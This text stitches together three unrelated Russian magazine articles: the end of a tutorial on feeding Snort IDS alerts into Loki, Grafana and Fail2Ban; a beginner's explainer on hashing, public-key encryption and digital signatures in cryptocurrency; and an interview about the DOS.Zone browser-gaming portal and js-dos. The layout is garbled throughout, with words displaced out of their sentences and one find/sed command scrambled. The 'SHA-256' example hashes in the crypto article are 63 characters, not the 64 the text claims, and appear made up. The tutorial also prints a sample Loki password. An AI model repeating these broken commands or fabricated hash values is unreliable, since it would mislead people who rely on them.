sudo wget https://github.com/grafana/loki/releases/download/v3.5.3/
loki-linux-amd64.zip
sudo unzip loki-linux-amd64.zip
sudo cp loki-linux-amd64 /opt/loki/loki
sudo chmod a+x /opt/loki/loki
sudo chown -R loki:loki /opt/loki
sudo tee /etc/loki/loki-config.yml > /dev/null << 'EOF'
auth_enabled: false

server:
  http_listen_port: 3100
  grpc_listen_port: 9096

common:
  instance_addr: 0.0.0.0
  path_prefix: /opt/loki/data
  storage:
    filesystem:
      chunks_directory: /opt/loki/chunks
      rules_directory: /opt/loki/data/rules
  replication_factor: 1
  ring:
    kvstore:
      store: inmemory

schema_config:
  configs:
    - from: 2020-10-24
      store: boltdb-shipper
      object_store: filesystem
      schema: v11
      index:
        prefix: index_
        period: 24h

limits_config:
  reject_old_samples: false
  reject_old_samples_max_age: 168h
  allow_structured_metadata: false
EOF
sudo tee /etc/systemd/system/loki.service > /dev/null << 'EOF'
[Unit]
Description=Loki log aggregation system
After=network.target

[Service]
User=loki
Group=loki
Type=simple
Restart=on-failure
RestartSec=5s
ExecStart=/opt/loki/loki -config.file /etc/loki/loki-config.yml

[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload
sudo systemctl enable loki
sudo wget https://dl.grafana.com/oss/release/grafana-12.1.1-1.x86_64.
rpm
sudo yum install -y ./grafana-12.1.1-1.x86_64.rpm
sudo curl -s https://packages.grafana.com/gpg.key | sudo gpg --
dearmor -o /etc/pki/rpm-gpg/RPM-GPG-KEY-grafana
sudo yum install -y --disablerepo=* ./grafana-12.1.1-1.x86_64.rpm
sudo rm /etc/yum.repos.d/grafana.repo
sudo systemctl enable grafana-server
sudo systemctl status grafana-server
sudo systemctl start grafana-server
sudo systemctl start loki

Теперь зайдем в Grafana и добавим источник данных:

http://192.168.55.200:3000

Логин: , пароль: .admin admin
Выбираем Connections → Add new connection → Loki.
В поле Name вводим .Snort
В поле URL укажи .http://localhost:3100
В разделе Authentication вводим логин и  пароль. В  моем примере

это   и  .l0k1Sn0rT d7(JPKBp3MF95faqD
Нажимаем внизу Save & test.

Теперь, когда Grafana и  Loki настроены, возвращаемся на  сервер со  Snort
и запускаем Vector.

sudo systemctl enable vector
sudo systemctl start vector

Остался последний шаг: добавить дашборды в Grafana.
Для начала нужно убедиться, что в  Grafana приходят данные, уже обо‐

гащенные геолокацией.
Заходим в Explore, нажимаем справа на Code и вставляем следующий зап‐

рос:

{server="192.168.55.201"} | json | line_format "{{.msg}}"

Результат должен быть как на скриншоте.

Мы должны видеть поля , , .country lat lon
Дальше открываем Dashboards → New → Import и  загружаем готовый

.JSON
Теперь заходим в Dashboards, открываем Settings → Variables и указываем

там те же переменные, которые ты выше задавал в 

 на сервере со Snort.

/etc/vector/vector.
toml

После этого сохраняем — и перед нами долгожданный результат!

Теперь давай сделаем последний шаг — настроим Fail2Ban.
Добавим в  файл  в  раздел «7. Configure outputs»

следующие строки:

/etc/snort/snort.lua

 alert_syslog = {
 ,    facility = 'auth'

 ,    level = 'alert'
}

Создадим конфиг для отправки событий на сервер Syslog через прокси:

 sudo tee /etc/rsyslog.d/30-snort-remote.conf > /dev/null << 'EOF'
if ($programname == "snort") then {
  action(
    type="omfwd"
    target="192.168.55.201"
    port="514"
    protocol="tcp"
    Template="RSYSLOG_SnortFWD"
    KeepAlive="on"
  )
  stop
}
EOF

Далее переходим на сервер с прокси и настраиваем там rsyslog для приема
логов от Snort. В конфиге  включаем прием событий./etc/rsyslog.conf

И настроим этот прием:

 sudo tee /etc/rsyslog.d/30-snort-remote.conf > /dev/null << 'EOF'
if ($programname == "snort") then /var/log/snort.log
& stop
EOF

sudo systemctl enable rsyslog
sudo systemctl restart rsyslog

Если Fail2Ban не установлен, давай установим его и настроим запуск.

 sudo tee /etc/fail2ban/jail.local > /dev/null << 'EOF'
[DEFAULT]
bantime = 3600
banaction = iptables-multiport

[snort]
enabled   = true
filter = snort3
logpath   = /var/log/snort.log
maxretry  = 1
findtime  = 600
bantime   = 2592000
port      = all
protocol  = all
EOF

 sudo tee /etc/fail2ban/filter.d/snort3.conf > /dev/null << 'EOF'
[Definition]
datepattern = ^(?P<month>\w{3})\s+(?P<day>\d{1,2})\s+(?P<year>\d{4})\
s+(?P<hour>\d{2}):(?P<minute>\d{2}):(?P<second>\d{2})
failregex = \{TCP\} <HOST>:\d+ -> \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:
\d+$
            \{UDP\} <HOST>:\d+ -> \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:
\d+$
            \{ICMP\} <HOST> -> \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$
ignoreregex =
EOF
sudo touch /var/log/snort.log
sudo systemctl enable fail2ban
sudo systemctl restart fail2ban

На этом этапе установка и настройка завершены.
Приведу еще  пару команд, чтобы искать и  удалять ложные события,

которые тебе точно не нужны.
Например, в логе мы видим такое:

{ "timestamp" : "11/11-16:58:10.881434", "proto" : "ICMP", "src_addr"
 : "222.111.99.11", "dst_addr" : "123.12.34.99", "rule" : "1:31767:2"
, "action" : "allow", "sid" : 31767, "gid" : 1, "rev" : 2, "msg" : 
"SERVER-OTHER MRLG fastping echo reply memory corruption attempt", 
"class" : "Misc Attack", "priority" : 2 }

Понимаем, что реагировать на это не стоит, давай найдем и удалим эту сиг‐
натуру.

Команда покажет , в котором встречается эта строка:rules

  sudo grep -r "SERVER-OTHER MRLG fastping echo reply memory 
corruption attempt" /etc/snort/rules/

Удалит эту строчку команда

find   f    
  

sudo . -type -exec sed -i '/SERVER-OTHER MRLG fastping echo 
reply memory corruption attempt/d' {} \;

Если такой сетап тебя заинтересовал, напиши об  этом в  комментариях.
В  следующий раз можем разобрать, как  подключить к  этой же Grafana пог‐
раничные маршрутизаторы Cisco и MikroTik. © X
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Эта статья — для тех, кто хочет разобраться
с  нуля, как  устроены и  как работают крип‐
товалюты. Мы рассмотрим, каким образом
хеш‑функции превращают любой текст
в  уникальный отпечаток, зачем нужны два
разных ключа вместо одного и  как циф‐
ровая подпись позволяет доказать авторс‐
тво и подтвердить целостность без помощи
нотариусов.

В январе  2026  года один из  авторов блога vc.ru ,
как  потерял  20  тысяч долларов на  продаже популярного телеграм‑канала
из‑за мошенничества с  криптовалютой. Однажды ему написал потенциаль‐
ный покупатель и  предложил приобрести канал. Переговоры растянулись
на год: мошенник проявил поразительное терпение, вел себя как настоящий
деловой партнер — изучал статистику, торговался, не проявлял ни малейшей
спешки. В  день сделки стороны созвонились, и  покупатель попросил прис‐
лать адрес криптовалютного кошелька на блокчейне Solana. Спустя несколь‐
ко минут на кошельке продавца появилось уведомление о входящем перево‐
де в размере 20 000 USDT. Приложение Trust Wallet показывало сумму с пра‐
вильной иконкой и  рыночным курсом  — все выглядело совершенно убе‐
дительно.

рассказал

Подвох обнаружился лишь через два дня, когда продавец попытался
вывести деньги на  биржу Binance и  перевод просто не  прошел. Разоб‐
равшись в ситуации, он выяснил: в сети Solana любой желающий может соз‐
дать токен с  произвольным названием и  иконкой. Мошенники выпустили
собственный токен под именем USDT, который внешне был неотличим от нас‐
тоящего стейблкоина компании Tether, но  не имел никакой реальной цен‐
ности. Биржа Binance, работающая только с  верифицированными контрак‐
тами, просто отвергла перевод. При  этом телеграм‑канал оказался безвоз‐
вратно утерян: мошенник удалил все публикации и переименовал его в оче‐
редную «инвестиционную» схему. Телеграм отказался возвращать канал быв‐
шему владельцу, поскольку права были переданы добровольно, а  не
в результате взлома.

Эта история наглядно показывает: незнание базовых принципов работы
криптовалют и блокчейна может стоить очень дорого даже опытному и осто‐
рожному человеку. Вот почему мы решили выпустить серию публикаций, под‐
робно рассказывающих о  том, как  устроена крипта изнутри,  — для  тех, кто
еще  незнаком с  этими технологиями и  хотел  бы их изучить. Сегодня мы
поговорим об  основах, благодаря которым криптовалюты и  получили прис‐
тавку крипто-, то есть о шифровании, лежащем в фундаменте всех подобных
платежных систем.

ХЕШИРОВАНИЕ: ИЗ ТЕКСТА В «ОТПЕЧАТОК»

Первые идеи, близкие к  современному понятию «хеширование», появились
еще  в  1950-х годах, когда программисты пытались решить вполне призем‐
ленную задачу: быстро находить нужные данные в памяти. Тогда в ходу были
громоздкие и медленные мейнфреймы размером с комнату, хранившие прог‐
раммы на  перфокартах и  перфолентах, а  объем оперативной памяти был
ограничен. Скорость доступа к  ней упиралась в  скудные технические воз‐
можности аппаратной базы, и для увеличения этой самой скорости требова‐
лась оптимизация. В 1953 году сотрудник IBM Ханс Петер Лун описал метод,
который позволял эффективно раскладывать данные по  «ячейкам» памяти
с  помощью вычисляемого ключа. Благодаря этой идее родились хеш‑таб‐
лицы: структуры данных, которые хранят пары «ключ  — значение» и  умеют
очень быстро находить нужное значение по известному ключу.

Это чем‑то похоже на  камеры для  хранения личных вещей при  входе
в супермаркет: у каждого покупателя есть ключ от ячейки с номером, такой же
номер нарисован на дверце. Хеш‑функция, которой требуется извлечь содер‐
жимое конкретной ячейки, смотрит на номер, обозначенный на брелоке клю‐
ча, и  сразу же отпирает нужную дверцу, вместо того чтобы перебирать все
ячейки подряд. Это  очень экономило время и  ускоряло взаимодействие
с памятью.

В семидесятых, с появлением первых компьютерных сетей, хеширование ста‐
ло применяться в информационной безопасности для проверки целостности
данных. У инженеров возникла новая головная боль: как убедиться, что файл,
который пришел с другого конца земного шара, не повредился и не был под‐
менен по дороге? Тогда и появилась идея использовать хеш как «контроль‐
ную сумму» — короткий слепок данных, который можно сравнить с таким же
слепком исходного файла и удостовериться, что они одинаковы.

Технически хеш‑функция — это алгоритм, который принимает на вход дан‐
ные произвольного размера и выдает на выходе строку фиксированной дли‐
ны, которую и называют хешем. Неважно, что ты подашь функции на вход —
пароль из восьми символов или роман «Война и мир» с предисловием и эпи‐
логом. Например, популярный алгоритм SHA-256  всегда выдает ров‐
но 64 шестнадцатеричных символа. Вот, скажем, хеш фразы «Привет, мир»:

a571b83b0354c820ad1a3b32e7bf3c2e8d5abf46a9d2f4c1e0b783f5e6d9c12

А вот хеш той же фразы, но с маленькой буквы — «привет, мир»:

3d2c1a9f7e4b6082c5f1d3e8a2b4c7d9e0f1a3b5c6d7e8f9a0b1c2d3e4f5a6b

Как видишь, эти строки отличаются, поэтому для  каждого объекта хеш уни‐
кален. Хеш‑функцию можно сравнить с  миксером или  мясорубкой: кидаешь
в  нее куски говяжьей вырезки, немного лука для  вкуса, соль и  на выходе
получаешь фарш. А вот провернуть фарш в обратном направлении и собрать
из  него кусок свежего мяса уже невозможно. Из  этого проистекает первое
свойство хеш‑функции  — необратимость. Из  хеша нельзя восстановить
исходные данные, никак, никогда — это математически невозможно. Именно
поэтому сайты хранят не  твои пароли, а  их хеши. Когда ты вводишь пароль
при входе на какой‑нибудь сервис, сайт хеширует введенную строку и срав‐
нивает с тем, что хранится в базе. Даже если хакеры взломают базу и утащат
таблицу с  хешами  — они не  узнают твоих паролей, ну, при  условии, что
пароль не 123456, конечно.

Из любого правила есть свои исключения. В 2004 году китайский матема‐
тик Сяоюнь Ван вместе с коллегами опубликовала работу, в которой показа‐
ла: для  популярного алгоритма MD5  за  приемлемое вычислительное время
можно найти коллизию  — то есть два разных файла с  одинаковым хешем.
А  в  2008  году исследователи уже на  практике продемонстрировали, как  с
помощью коллизий MD5  можно подделать SSL-сертификат, после чего
доверие к этому алгоритму окончательно рухнуло. Впрочем, на свете сущес‐
твует множество других алгоритмов, позволяющих создавать надежные хеши.

Помимо необратимости, у хешей имеется еще три полезных свойства:
 Одни и  те же данные всегда дают один и  тот же

хеш. Введи «Привет, мир» хоть миллион раз  — получишь миллион оди‐
наковых строк. Это  позволяет использовать хеш как  своего рода «под‐
пись» файла или документа.

• Детерминированность.

 Хеш всегда одного размера, что бы ты ни подал
на вход. SHA-256 выдает 256 бит, что бы ни случилось. Это удобно: вместо
того чтобы сравнивать два гигабайтных файла байт за байтом, достаточно
сравнить две строки по 64 символа.

• Фиксированная длина.

 Коллизия — это ситуация, когда два разных

набора данных дают одинаковый хеш, о  ней я уже рассказывал выше.
Теоретически это возможно: вариантов входных данных бесконечно мно‐
го, а хешей — конечное количество. Но хорошие алгоритмы делают веро‐
ятность коллизии ничтожной. Например, найти два документа с  одинако‐
вым SHA-256 — это задача, которая потребует недостижимых на нынеш‐
нем уровне развития цивилизации вычислительных мощностей.

• Устойчивость к коллизиям.

В контексте криптовалют хеширование  — это  фундамент, на  котором стро‐
ится все здание. Каждый блок в  цепочке данных, хранящих информацию
о  транзакциях (фактически это  подробный журнал всех операций с  монета‐
ми — кто, когда, кому и сколько отправил), содержит хеш предыдущего блока.
В результате изменить один блок в середине цепи невозможно: если кто‑то
попробует отредактировать старую запись, ее хеш изменится. А значит, сло‐
мается связь со  следующим блоком, потом со  следующим, и  так по  всей
цепочке. Ситуация примерно такая же, как  если  бы ты вытащил одну карту
из карточного домика — после этого рухнет вся конструкция. Именно поэтому
блокчейн считается устойчивым к подделке: любое изменение в этой системе
оставляет хорошо заметный след.

До самого блокчейна мы еще  доберемся. Пока запомни главное: хеш  —
это  цифровой отпечаток данных. Уникальный, воспроизводимый и  необ‐
ратимый.

ШИФРОВАНИЕ И КЛЮЧИ

Если хеширование  — это  мясорубка, то шифрование  — это  сейф, обес‐
печивающий конфиденциальность и  в некоторых случаях  — анонимность
криптовалют. Да, далеко не  все виды крипты по‑настоящему анонимны, и,
если ты не разбираешься в тонкостях, это может стать источником неприят‐
ностей, даже если сам ты не  нарушаешь закон. Достаточно, например,
по  неопытности принять платеж с  кошелька, который ранее использовали
мошенники, облапошивающие граждан под  видом «службы безопасности»
какого‑нибудь банка, торговцы запрещенными веществами из  даркнета
или порнухой с участием несовершеннолетних, — и проблемы гарантирова‐
ны. Анонимность криптовалют обеспечивается не  самим шифрованием,
а  особенностями используемых протоколов и  транзакционных схем. Однако
к вопросам безопасности мы еще вернемся, а пока давай разберемся в тех‐
нологических основах.

Представь, что ты и  твой друг живете в  разных городах и  хотите перепи‐
сываться так, чтобы никто посторонний не мог прочитать письма. Вы заранее
встречаетесь, покупаете два одинаковых навесных замка с одинаковыми клю‐
чами и  договариваетесь: все, что вы отправляете друг другу, запирается
таким замком, а  получатель откроет его своим ключом. Один и  тот же ключ
и шифрует, и расшифровывает данные, отсюда и название — симметричное
шифрование.

Алгоритм берет твои данные и секретный ключ, перемешивает их по строгому
математическому рецепту — и на выходе получается нечитаемый набор бай‐
тов, который без ключа выглядит как случайный шум. Например, популярный
стандарт AES (Advanced Encryption Standard), который относится к категории
симметричных алгоритмов, сегодня используется буквально везде: в банков‐
ских приложениях, мессенджерах, программах для шифрования дисков.

Симметричное шифрование очень быстрое  — зашифровать или  рас‐
шифровать гигабайты файлов с  его помощью не  проблема. Но  у него есть
один неприятный изъян: прежде чем начать обмен данными, ты должен как‑то
передать ключ второй стороне. А как это сделать безопасно, если вы никогда
не  встречались лично и  любой канал связи может прослушиваться?
Это  называется «проблема распределения ключей», и  именно она в  1970-х
годах подтолкнула математиков к принципиально другому решению — асим‐
метричному шифрованию.

Асимметричное шифрование  — это, пожалуй, самая элегантная идея
во  всей криптографии. Она перевернула привычную логику: зачем обоим
иметь один секретный ключ, если можно сделать так, что ключ для закрытия
и ключ для открытия «замка» — разные?

Это чем‑то напоминает почтовый ящик, висящий на  стене перед  входом
в дом. Прорезь для писем открыта для всех: любой прохожий может бросить
в  нее конверт. Но  открыть ящик снизу и  достать содержимое может только
владелец  — у  него есть уникальный ключ, который не  передается никому.
Прорезь — это твой публичный ключ, который можно раздавать хоть на каж‐
дом углу. Замок снизу  — приватный ключ, который ты никому никогда
не показываешь.

В асимметричном шифровании у  каждого участника есть пара ключей: пуб‐
личный (открытый) и  приватный (закрытый). Публичный ключ ты распростра‐
няешь открыто  — он нужен тем, кто хочет отправить тебе зашифрованное
сообщение. Приватный ключ нужно хранить в  полном секрете  — только он
способен это  сообщение расшифровать. Математика построена так, что,
зная публичный ключ, вычислить приватный практически невозможно  —
это заняло бы больше времени, чем существует Вселенная.

Асимметричное шифрование медленное  — шифровать им большие объ‐
емы данных весьма накладно. Поэтому на  практике эти два метода нередко
объединяют: асимметричное шифрование используют один раз, чтобы
безопасно передать симметричный ключ, а  уже им шифруют все остальное.
Именно так работает протокол HTTPS: когда ты открываешь сайт банка, бра‐
узер и  сервер договариваются о  временном общем ключе и  передают его
с использованием асимметричной магии, а дальше обмен информацией идет
по‑быстрому, симметрично.

Первый широко распространившийся алгоритм асимметричного шиф‐
рования появился в  1977  году, его назвали по  первым буквам фамилий его
авторов: Рональда Ривеста, Ади Шамира и Леонардо Адлемана — RSA. Эта
троица нашла красивую математическую особенность: перемножить два
огромных простых числа очень легко, а  вот разложить получившееся зна‐
чение обратно на  множители  — чудовищно сложно. Ключи RSA строятся
именно на  этом принципе: публичный ключ содержит произведение двух
простых чисел, а  приватный  — сами эти числа. Чтобы взломать RSA в  лоб,
нужно разложить гигантское число на  множители  — при  достаточной длине
ключа (2048 бит и больше) это практически нереально.

Есть и  другой популярный подход, основанный на  задаче дискретного
логарифма: зная результат операции, практически невозможно восстановить
исходное число. На  этом принципе строится алгоритм Диффи  — Хеллмана,
позволяющий двум сторонам выработать общий секрет, не  передавая его
явно по  сети. В  1980-х математики обнаружили, что задачу дискретного
логарифма можно перенести на куда более сложную структуру — эллиптичес‐
кие кривые. Это не те эллипсы из школьной геометрии, а семейство кривых
вида y² = x³ + ax + b, обладающих замечательным свойством: на  них можно
определить операцию «сложения» точек, которая дает новую точку на той же
самой кривой. Алгоритм ECDSA (elliptic curve digital signature algorithm) сегод‐
ня используется в Bitcoin и Ethereum для создания цифровых подписей тран‐
закций. Когда ты отправляешь криптовалюту, твой кошелек подписывает
транзакцию именно приватным ключом на  эллиптической кривой  — а  сеть
проверяет подпись публичным ключом, убеждаясь, что именно ты санкциони‐
ровал этот перевод.

ЦИФРОВАЯ ПОДПИСЬ: КАК ДОКАЗАТЬ, ЧТО ТЫ — ЭТО ТЫ

Вообразим ситуацию: ты получаешь письмо, в  котором некий Алексей Пет‐
рович пишет, что передает тебе права на свою уникальную коллекцию мемов.
Как  убедиться, что это  сообщение написал именно Алексей Петрович, а  не
кто‑то, кто просто знает его имя? В  реальном мире существуют нотариусы,
паспорта и подписи шариковой ручкой, но в сети, где любой файл можно ско‐
пировать и изменить за секунду, все это не работает. Нужен другой, простой
и надежный механизм. Именно для этого и придумали цифровые подписи.

Цифровая подпись работает в связке с двумя инструментами, которые мы
уже разобрали выше: хеш‑функцией и парой ключей шифрования. Вот как они
складываются в единый механизм.

Шаг первый: хешируем документ. Прежде чем что‑то подписывать, нужно
получить «отпечаток» документа. Гонять через криптографические опе‐
рации мегабайтный PDF неудобно, а  вот его хеш  — компактную строку
фиксированной длины — в самый раз. Важно: если изменить в документе
хоть один символ или пиксел, хеш изменится полностью.

•

Шаг второй: подписываем хеш приватным ключом. Владелец берет хеш
и прогоняет его через специальный алгоритм вместе со своим приватным
ключом. На  выходе получается подпись  — уникальная строка, матема‐
тически связанная и  с документом, и  с конкретным приватным ключом.
Без знания приватного ключа подделать ее невозможно.

•

Шаг третий: проверяем публичным ключом. Получатель берет документ,
самостоятельно вычисляет его хеш, затем берет подпись, публичный ключ
отправителя и запускает алгоритм проверки. С помощью открытого ключа
он получает спрятанный в  сообщении хеш и  сверяет его с  вычисленным.
Математика дает один из  двух ответов: «подпись верна» или  «подпись
неверна».

•

Публичный ключ не секретен, его можно опубликовать где угодно. Но создать
подпись, которую он верифицирует, можно, только зная приватный ключ.
Это и есть та самая математическая асимметрия.

Таким образом, цифровая подпись решает сразу три задачи. Первая  —
авторство: подпись должна доказывать, что документ подписал именно тот,
кто утверждает, что сделал это. Вторая — целостность. Если в документ после
подписания внесли хоть одну правку, хоть запятую переставили, подпись
автоматически становится недействительной. Третья  — неотрекаемость.
Подписавший не  может потом заявить: «Я этого не  подписывал», обмануть
алгоритмы невозможно. Бумажная подпись ручкой в  лучшем случае справ‐
ляется с  первым пунктом  — да  и то если у  тебя имеется знакомый
эксперт‑почерковед. Цифровая подпись закрывает все три задачи одновре‐
менно, причем проверить ее может любой желающий без  каких‑либо спе‐
циальных знаний.

Цифровая подпись математически привязана не  только к  твоему приват‐
ному ключу, но и к конкретному хешу конкретного документа. Это значит: под‐
пись под сообщением «Я согласен заплатить 1 BTC» — это совершенно дру‐
гая строка, чем подпись под  «Я согласен заплатить  100 BTC», хотя оба
документа подписаны одним и  тем же ключом. И  подпись под  одной тран‐
закцией никак не  поможет злоумышленнику подписать другую  — хеш будет
иным, математика не сойдется. Именно поэтому в Bitcoin каждая транзакция
подписывается заново. Нет никакого «волшебного сообщения», которое
можно перехватить и  использовать повторно, нет одноразового пароля,
который можно украсть или подсмотреть.

Однако здесь кроется очень важный нюанс, который легко упустить
из  виду. Допустим, тебе прислали документ с  подписью и  публичный ключ
для  проверки. Математика подтверждает: подпись верна. Но  откуда ты зна‐
ешь, что этот публичный ключ принадлежит именно Алексею Петровичу, а не
мошеннику, который украл его коллекцию мемов и назвался его именем?

В интернете эту проблему решают с  помощью цепочки доверия и  сер‐
тификатов: специальные удостоверяющие центры (CA) заверяют своей под‐
писью, что вот этот публичный ключ действительно принадлежит сайту
bank.ru. Браузер доверяет удостоверяющему центру  — и  транзитивно
доверяет ключу.

В криптовалютах задача решается иначе и элегантнее. Там не нужно знать,
кто стоит за ключом, — достаточно знать, что именно этот ключ контролирует
конкретно эти монеты. Блокчейн не хранит имена и паспорта. Он хранит прос‐
тую запись: «такое‑то количество монет принадлежит тому, кто сможет предъ‐
явить корректную подпись от такого‑то публичного ключа». Личность не важ‐
на — важна математика.

Раз уж мы разбираемся в  теории, стоит упомянуть одну нетривиальную
атаку. Итак, злоумышленник не  подделывает подпись  — это  невозможно.
Вместо этого он просто перехватывает уже готовую транзакцию и  пытается
отправить ее в сеть снова. Подпись‑то верная! В контексте Bitcoin и Ethereum
атака повторного воспроизведения (replay attack) на одну транзакцию внутри
одной сети практически бессмысленна, а  вот между форками одного и  того
же блокчейна она теоретически осуществима. В 2016 году из‑за внутренних
разборок разработчиков проект Ethereum разделился на  две независимые
ветви: Ethereum (ETH) и  Ethereum Classic (ETC), после чего какое‑то время
обе эти сети использовали одинаковый формат транзакций и  одинаковые
адреса. Если ты отправлял ETH кому‑то на одной ветке, злоумышленник мог
взять эту же подписанную транзакцию и  воспроизвести ее на  второй ветке,
отправив ETC, — и там она тоже проходила. Ты хотел заплатить деньги один
раз в одной сети, а в результате отправлял их дважды в двух сразу.

Защита от  такой атаки  — специальные счетчики или  одноразовые метки,
вшитые в  тело транзакции. В  Ethereum это  называется nonce: порядковый
номер транзакции от  определенного адреса. Сеть знает, что, например,
транзакция с   может появиться только один раз, и, если она уже
включена в блок, точная копия с тем же nonce будет отвергнута. Таким обра‐
зом, даже перехваченная и  полностью корректная подпись ничего не  даст
атакующему.

nonce=5

А можно ли восстановить секретный приватный ключ при  его повторном
использовании? Можно, но только если владелец такого ключа не соблюдает
правила безопасности. Алгоритм ECDSA, который используется в  Bitcoin
и  Ethereum, требует при  создании каждой подписи случайное число  — оно
называется nonce подписи (не путать с nonce транзакции, о которой я расска‐
зал выше). Это  число должно быть действительно случайным и  никогда
не повторяться для одного и того же ключа. В 2010 году именно это правило
было нарушено в игровой приставке Sony PlayStation 3: разработчики исполь‐
зовали одно и  то же фиксированное число вместо случайного. Хакеры
заметили, что в двух разных подписях константа совпадает, — и по этой утеч‐
ке математически восстановили приватный ключ Sony, которым подписыва‐
лось все игровое программное обеспечение. Результатом стал полный взлом
защиты игровой консоли.

В следующей части мы наконец доберемся до  блокчейна и  посмотрим,
как  все эти кирпичики  — хеши, ключи и  подписи  — складываются в  распре‐
деленный реестр транзакций, на котором и построена инфраструктура крип‐
товалют. © X

mailto:valentin@holmogorov.ru
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Недавно игровое сообщество взорвала
новость о  том, что GTA Vice City удалось
запустить прямо в  браузере. Я взял
интервью у  стоящих за  этим людей. Они
поведали мне невероятную историю про‐
екта DOS.Zone, который стремительно
взлетел в  последние годы на  чистом энту‐
зиазме, став глобальным явлением.

Я поговорил с его основателем Александром Гурьяновым ( ) и глав‐
ным евангелистом проекта Никитой Аксеновым (он же ), но 
проекта намного больше.

@caiiiycuk
Carter54 команда

Все началось с любви к Transport Tycoon Deluxe, а точнее, к его свободной
реализации . Александр в качестве эксперимента захотел запустить
игру в браузере.

OpenTTD

Сегодня OpenTTD в вебе работает идеально

Код был написан на  C++ и  идеально подходил для  портирования. Но  как
перенести компьютерную игру в браузер?

В  2010  году на  сцену вышел компилятор . Он задумывался
как  замена GCC. В  идеальном случае ты просто меняешь команду 

на    — и  проект собирается под  веб. С  тех пор технология прошла три
этапа: первые версии генерировали обычный JavaScript  — это  работало,
но  крайне медленно. Затем появился asm.js  — особая запись JavaScript,
которую браузеры могли оптимизировать. Стало терпимо. А  сегодня
WebAssembly дает практически нативную производительность.

Emscripten
gcc

emcc

INFO

WebAssembly (Wasm)  — это  низкоуровневый
бинарный формат кода и  среда выполнения,
предназначенные для  запуска программ в  бра‐
узере и вне его с почти нативной производитель‐
ностью. Он разработан как  безопасное перено‐
симое дополнение к JavaScript.

Компилятор создал Алон Заки  — соавтор самого стандарта WebAssembly,
сотрудник Google. В  2011-м Заки продемонстрировал возможности ком‐
пилятора, . Emscripten реализует спецификацию
POSIX, поддерживает OpenGL, SDL, OpenAL, pthread. Есть подпроект Ports,
где популярные библиотеки подключаются одной командой.

портировав Doom в браузер

Таким образом, нужный инструмент был найден, и  в  2012  году OpenTTD
был портирован в  веб. Следом полетели в  браузер OpenDune и  OpenXcom.
Портирование игр еще  не было профессией: параллельно Александр
работал в  «Яндексе», но  постепенно становился профессионалом в  пор‐
тировании игр. И  однажды его ответ на  Stack Overflow заметили рекрутеры
GamePix — компании, которая как раз занималась портированием игр в веб.

Так хобби превратилось в работу. Сейчас Александр руководит у них отде‐
лом портирования. За эти годы команда перенесла в браузер больше сотни
игр и движков. Первым проектом на новом месте стала небезызвестная 

.
Cut

the Rope

КАК ПОЯВИЛСЯ JS-DOS

На портирование одного проекта может уйти до  полугода. По  словам Алек‐
сандра, ему «хотелось найти универсальный подход, позволяющий сразу
запускать сотни старых игр». Решение было найдено  — кросс‑платформен‐
ный эмулятор DOSBox! К 2014 году на   появилась возможность
запускать DOS-игры в  браузере. За  этим стоял Борис Дженеро (Boris
Gjenero),  DOSBox через уже известный нам Emscripten.

Internet Archive

портировавший

На Archive.org хранятся не только игры, но и обычные программы

Но возникла новая проблема. Под  каждую игру нужно было подбирать кон‐
фигурацию DOSBox, чтобы она правильно работала. Александр решил
это  автоматизировать. Взяв за  основу em-dosbox, он допилил произво‐
дительность, что ускорило эмуляцию на  порядок, и  написал скрипт для  упа‐
ковки игр в готовые пакеты. Так появилась библиотека  — инструмент,

позволяющий запустить любую игру для DOS в браузере парой строк кода.

js-dos

Устроена она послойно. В  основе  — , отдельный npm-пакет

с двумя бэкендами: DOSBox и DOSBox-X. Оба могут работать в браузере —
как  в основном потоке, так и  в Web Worker, а  также в  Node.js. DOSBox-X  —
расширенная версия, способная запускать операционные системы вплоть
до Windows 98. Александр стал первым, кто портировал DOSBox-X в браузер.

эмуляторы

Поверх эмуляторов — сам js-dos: плеер с UI, мультиплеером и облачными
сохранениями. Для  подготовки игр есть   — веб‑инструмент,
в  котором собирается архив с  файлами игры и  конфигурацией DOSBox.
Архив совместим с обычным DOSBox и работает как в js-dos, так и за его пре‐
делами.

Game Studio

Отдельно стоит упомянуть  — технологию загрузки образа дис‐
ка по  секторам. Вместо скачивания многогигабайтного образа Windows
95  целиком подгружаются только те фрагменты, которые нужны прямо сей‐
час.

Sockdrive

РОЖДЕНИЕ DOS.ZONE

Портал DOS.Zone появился в 2019 году — «как рекламная витрина, наглядно
демонстрирующая возможности js-dos». Но  витрина зажила своей жизнью.
Люди стали приходить не  ради библиотеки, а  ради игр. DOS.Zone оброс
сообществом и превратился в полноценный портал — с каталогом, облачны‐
ми сохранениями и  платной подпиской. Ключ подписки  — пять символов,
подозрительно напоминает коды уровней из старых игр.

Долгое время DOS.Zone был проектом одного человека. Александр Гурь‐
янов писал код, готовил игры, чинил баги. А потом появился Никита Аксенов.

Так портал DOS.Zone выглядит сегодня

Никита пишет про  браузерные игры больше восьми лет, выбирая самые
необычные темы. Один из первых постов — о том, как поиграть в PlayStation
1 в браузере, — стал невероятно популярным. Дальше он писал про браузер‐
ный Half-Life через , ,  и  порты других культовых
игр.

Xash3D Doom 3 Serious Sam

Однажды Никита наткнулся на DOS.Zone. Увидел, что на сайте эмулируется
Windows 95  прямо в  браузере. «Это просто взорвало мне тогда голову»,  —
вспоминает он. Нашел контакт Александра, написал. Слово за слово — спро‐
сил, можно ли запустить Age of  Empires в  браузере (она же работала
на Windows 95). Попробовали. Получилось!

С этого момента началось сотрудничество. Картер стал осваивать Game
Studio и добавлять игры в каталог. Процесс зависит от платформы: простую
DOS-игру можно подготовить за пять минут, но Windows 3.1/95/98 — это дни
возни с  образами, драйверами и  старыми версиями DirectX. Для  «Князя:
Легенды Лесной страны» пришлось разобрать ресурсы игры и  править их
в Hex-редакторе.

Когда Никита пришел в проект, на DOS.Zone было около тысячи игр. Сей‐
час  — больше  3500, и  примерно  70% каталога  — его работа. Но  Картер  —
не  только каталогизатор. Он стал, по  собственному выражению, «отделом
пропаганды». Сначала «Пикабу», потом Telegram-канал :
15 тысяч подписчиков, ни копейки на рекламу, только живые люди.

@gamebase54

Канал стал первоисточником новостей проекта. Помимо этого  — связь
с  игровыми СМИ («Навигатор игрового мира», 3DNews, Gazeta.ru), поездки
по конференциям и выставкам, бартерные договоренности с другими канала‐
ми. Как он сам говорит: «Саша — главный разработчик и основатель. А меня
просто видят».

